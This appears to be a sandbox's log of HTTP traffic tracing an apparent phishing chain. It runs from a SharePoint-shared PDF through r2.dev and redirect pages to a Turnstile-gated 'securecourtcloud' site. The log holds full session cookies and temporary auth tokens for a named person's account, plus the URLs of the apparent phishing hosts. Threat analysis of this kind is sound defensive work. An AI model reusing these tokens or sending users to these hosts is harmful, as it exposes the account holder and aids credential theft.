Iza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/download.aspx?UniqueId=76ad61c0-05f7-47d9-9226-db4d6f9ac2e9&Translate=false&tempauth=v1.eyJzaXRlaWQiOiJlZGI3ZmNjZi1jZTBmLTQ5MDctODc2Zi1kZTYyMDM2Yzk5MGEiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvb3JnYW5pc21la2luYThhdC1teS5zaGFyZXBvaW50LmNvbUAxOTdiYTcyNi04N2NiLTQ3M2UtYTJhNS1kNjgxZTA5ZTUxN2UiLCJleHAiOiIxNzM2NzgwNzEyIn0.CiMKCXNoYXJpbmdpZBIWdklxbHV1YlJnRVN0WUxrQWlld2c1ZwoKCgRzbmlkEgI2NBILCJipjsmq-dk9EAUaDDguNDYuMTIzLjE4OSIUbWljcm9zb2Z0LnNoYXJlcG9pbnQqLFZRWi8veStNVVl1blNsRGJmM3BNOHdOVVlEVzI0YWZOUy84dnhqTUpEUWc9MKsBOAFCEKF3IodCUABwY1jTazQ9aeRKEGhhc2hlZHByb29mdG9rZW5iBHRydWVyYTBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmZ6ATDCAWEwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiM0ZTg1ODA4N2FmNjRhNzViN2JiZmU0OWMzMjJkZjRkMjUxM2RmOGY2YjA4MmZmNTM4NTFiNjY5ZWE4MjM1OWJmyAEB.MLUtMWZSoo7nAfF8UM_DjCPevfTkH560olaVDFCDcq8 HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://organismekina8at-my.sharepoint.com/personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/onedrive.aspx?ga=1&id=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8a%2FOrganisme%20Kina8a%2Epdf&parent=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+;
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/download.aspx?UniqueId=76ad61c0-05f7-47d9-9226-db4d6f9ac2e9&Translate=false&tempauth=v1.eyJzaXRlaWQiOiJlZGI3ZmNjZi1jZTBmLTQ5MDctODc2Zi1kZTYyMDM2Yzk5MGEiLCJhdWQiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAvb3JnYW5pc21la2luYThhdC1teS5zaGFyZXBvaW50LmNvbUAxOTdiYTcyNi04N2NiLTQ3M2UtYTJhNS1kNjgxZTA5ZTUxN2UiLCJleHAiOiIxNzM2NzgwNzEyIn0.CiMKCXNoYXJpbmdpZBIWdklxbHV1YlJnRVN0WUxrQWlld2c1ZwoKCgRzbmlkEgI2NBILCJipjsmq-dk9EAUaDDguNDYuMTIzLjE4OSIUbWljcm9zb2Z0LnNoYXJlcG9pbnQqLFZRWi8veStNVVl1blNsRGJmM3BNOHdOVVlEVzI0YWZOUy84dnhqTUpEUWc9MKsBOAFCEKF3IodCUABwY1jTazQ9aeRKEGhhc2hlZHByb29mdG9rZW5iBHRydWVyYTBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmZ6ATDCAWEwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiM0ZTg1ODA4N2FmNjRhNzViN2JiZmU0OWMzMjJkZjRkMjUxM2RmOGY2YjA4MmZmNTM4NTFiNjY5ZWE4MjM1OWJmyAEB.MLUtMWZSoo7nAfF8UM_DjCPevfTkH560olaVDFCDcq8 HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]; MicrosoftApplicationsTelemetryDeviceId=3e5d5b82-a7ec-46a9-908e-7e84757ff108; ai_session=Z/xydh9uVilLgCAtVeWodm|1736777111889|1736777111889
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?7648e715b071b8c659fab5c72178dc46 HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://organismekina8at-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://organismekina8at-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /copy.html HTTP/1.1Host: pub-d718e5e3afe742b8ab446f7a542f5139.r2.devConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?cc433036b76454d85f855fb8168dc25a HTTP/1.1Host: outlook.office365.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://organismekina8at-my.sharepoint.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://organismekina8at-my.sharepoint.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?7648e715b071b8c659fab5c72178dc46 HTTP/1.1Host: outlook.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redirect.php?unlouken-carbazylic HTTP/1.1Host: qknaptqvepscqlukrsfs.mmicensacaviar.org.ukConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-d718e5e3afe742b8ab446f7a542f5139.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /apc/trans.gif?cc433036b76454d85f855fb8168dc25a HTTP/1.1Host: outlook.office365.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /redirect.php?unlouken-carbazylic HTTP/1.1Host: qknaptqvepscqlukrsfs.mmicensacaviar.org.ukConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://pub-d718e5e3afe742b8ab446f7a542f5139.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://organismekina8at-my.sharepoint.com/personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/onedrive.aspx?ga=1&id=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8a%2FOrganisme%20Kina8a%2Epdf&parent=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8aAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]; MicrosoftApplicationsTelemetryDeviceId=3e5d5b82-a7ec-46a9-908e-7e84757ff108; ai_session=Z/xydh9uVilLgCAtVeWodm|1736777111889|1736777111889; MSFPC=GUID=ffff04637fda4586b373bc1766cf64e2&HASH=ffff&LV=202501&V=4&LU=1736777111408
Source: global traffic	HTTP traffic detected: GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]; MicrosoftApplicationsTelemetryDeviceId=3e5d5b82-a7ec-46a9-908e-7e84757ff108; ai_session=Z/xydh9uVilLgCAtVeWodm|1736777111889|1736777111889; MSFPC=GUID=ffff04637fda4586b373bc1766cf64e2&HASH=ffff&LV=202501&V=4&LU=1736777111408
Source: global traffic	HTTP traffic detected: GET /Fdr9j?e= HTTP/1.1Host: filex.securecourtcloud.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://pub-d718e5e3afe742b8ab446f7a542f5139.r2.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Fdr9j/?e= HTTP/1.1Host: filex.securecourtcloud.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/6bsud/0x4AAAAAAA4v8z0qopw-AuOv/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://filex.securecourtcloud.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9015f126deef0f81&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/6bsud/0x4AAAAAAA4v8z0qopw-AuOv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/6bsud/0x4AAAAAAA4v8z0qopw-AuOv/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
